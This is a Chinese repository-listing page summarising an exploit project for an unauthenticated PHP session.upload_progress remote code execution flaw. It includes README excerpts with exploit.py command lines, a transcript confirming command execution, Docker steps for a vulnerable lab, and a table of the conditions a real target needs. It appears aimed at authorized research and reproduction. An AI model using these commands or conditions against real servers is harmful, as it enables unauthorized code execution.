正在自动登录…
← 返回项目列表junaire/
junaire/ CVE-2026-109618-exploit
这是一个针对PHP核心session.upload_progress漏洞的未授权远程代码执行利用工具,包含exploit脚本和可复现漏洞环境的Docker配置,适用于安全研究人员在授权环境中复现和测试漏洞。
AI 中文解读 · 根据仓库描述与 README 生成 · 2026/10/22 01:36:10 · 查看原文
- 累计 Stars
- 115
- 当前热度
- 1 天内 · 小火
- 仓库创建时间
选用指南
AI 根据 README 整理 · 2026/10/22 01:36:10
- 使用方式
通过命令行使用exploit.py,可指定目标主机、端口和命令,并通过--gadget和--prop参数选择不同的gadget类。
查看 README 依据
python3 exploit.py 127.0.0.1 8080 "id; uname -a" python3 exploit.py 127.0.0.1 8080 "cat /etc/hostname" --sid deadbeef0000000000000000000caf python3 exploit.py host port "cmd" --gadget Monolog --prop target # real-target gadget ``` Verified transcript against this environment (PHP 8.2.34-fpm): ``` $ python3 exploit.py 127.0.0.1 8080 "id; uname -sr" [1] seed POST /app/seed.php -> HTTP 200 [2] fire GET /api/app.php -> HTTP 200 [gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 7.2.9-... [+] command output seen — RCE confirmed ```
- 部署要求
需要Python 3运行exploit.py,并使用Docker构建和运行靶机环境。
查看 README 依据
exploit.py the exploit (stdlib only) Dockerfile vulnerable target environment: nginx + php-fpm 8.2.34 nginx-site.conf target vhost webroot/app/ seed dir (.user.ini -> session.serialize_handler=php_serialize) webroot/api/ fire dir (.user.ini -> php), Logger gadget class ``` ## Usage ```bash # 1. build & start the target environment docker build -t cve-2026-109618-exploit . docker run -d --name cve618 -p 8080:80 cve-2026-109618-exploit # 2. verify it is up curl http://127.0.0.1:8080/api/app.php # -> [api] session started # 3. exploit
- 已知限制
利用要求目标启用session.upload_progress且cleanup设为Off,存在两个不同serialize_handler的目录,并加载了具有有用__destruct方法的类,payload必须放在PHP_SESSION_UPLOAD_PROGRESS字段值中,因为分片头行限制约5KB。
查看 README 依据
The command output appears in the trigger response: `__destruct` (and thus `system()`) runs during `session_start()`'s decode-failure cleanup, before the script body — followed by the expected `Failed to decode session object. Session has been destroyed` warning. ## What a real target needs | Condition | Why | |---|---| | `session.upload_progress.enabled=On` (default) | the injection channel | | `session.upload_progress.cleanup=Off` | keeps the seeded payload on disk (with the default `On` only a race window remains) |
| two reachable dirs with different `session.serialize_handler` (`.user.ini` / `.htaccess`) | write side php_serialize, read side php — the `|` split | | a class with a useful `__destruct` loaded when `session_start()` runs (app code, `opcache.preload`, `auto_prepend_file`) | the RCE gadget; `--gadget/--prop` to match it | | `session.use_strict_mode=0` (default) | attacker-chosen session id via the POST `PHPSESSID` field (bypasses `use_only_cookies`) | Note: the payload must ride the **`PHP_SESSION_UPLOAD_PROGRESS` field value**,
not the uploaded filename — multipart part-header lines are capped at ~5 KB and truncate larger payloads. ## Disclaimer For authorized security testing and research only. Run it against your own test environments or systems you have explicit permission to test.
README
正在加载 README…
收录信息
- 仓库创建时间
- 2026/10/21 19:52:39
- 首次达标收录
- 2026/10/22 01:31:27
- 统计更新时间
- 2026/10/22 19:01:03
按创建时长与累计 Stars 判断等级。首次达标收录后,即使未达当前门槛仍保留;累计 Stars 和仓库状态会定期更新。确认只有 README 及辅助文件的仓库会停止公开。
模型评估
普通加权总分 3.5 / 5
由 Jev 模型根据仓库描述与 README 评估,2026/10/22 01:31:27 生成。评分仅供参考,不是代码、安全或许可证审查;热度等级另按创建时长与累计 Stars 计算。
仓库信息
- 最近推送
- 2026/10/21 19:52:57
- 许可证标识
- 未识别,请查看仓库说明
- Fork 数
- 70
- 当前状态
- 未归档
收录记录
按创建时长与累计 Stars 首次收录:小火
首次发现项目